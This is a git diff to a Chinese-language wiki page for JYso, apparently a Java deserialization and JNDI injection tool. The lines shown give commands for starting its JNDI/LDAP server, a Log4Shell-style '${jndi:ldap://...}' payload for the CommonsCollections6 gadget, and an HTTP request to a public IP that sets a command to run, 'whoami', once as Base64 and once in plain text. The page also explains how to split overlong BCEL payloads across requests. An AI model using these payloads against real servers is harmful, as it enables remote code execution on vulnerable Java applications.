Updated JYso‐CN (markdown)

2026-09-25 00:01:53 +08:00 · 2023-08-02 14:48:44 +08:00
parent 596fa665fe
commit c04f715a9c
1 changed files with 3 additions and 1 deletions
@@ -30,6 +30,8 @@ java -jar JYso-[version].jar --jndi -i 127.0.0.1
 java -jar JYso-[version].jar --jndi -i 127.0.0.1 -u "dc=ex" -p "123456"
 ```

+
+
 + 对于BCEL这种超长请求，可以从http处取参，来减少请求长度

 先发http请求参数，在发jndi payload
@@ -37,7 +39,7 @@ java -jar JYso-[version].jar --jndi -i 127.0.0.1 -u "dc=ex" -p "123456"
 ${jndi:ldap://127.0.0.1:1389/Deserialization/CommonsCollections6/sethttp}
 ```
 ```shell
-http://111.229.10.212:3456/setPathAlias?a=Deserialization/CommonsCollections6/command/Base64/d2hvYW1p
+http://111.229.10.212:3456/setPathAlias?a=whoami
 ```

 ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdown%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20230705100008.png)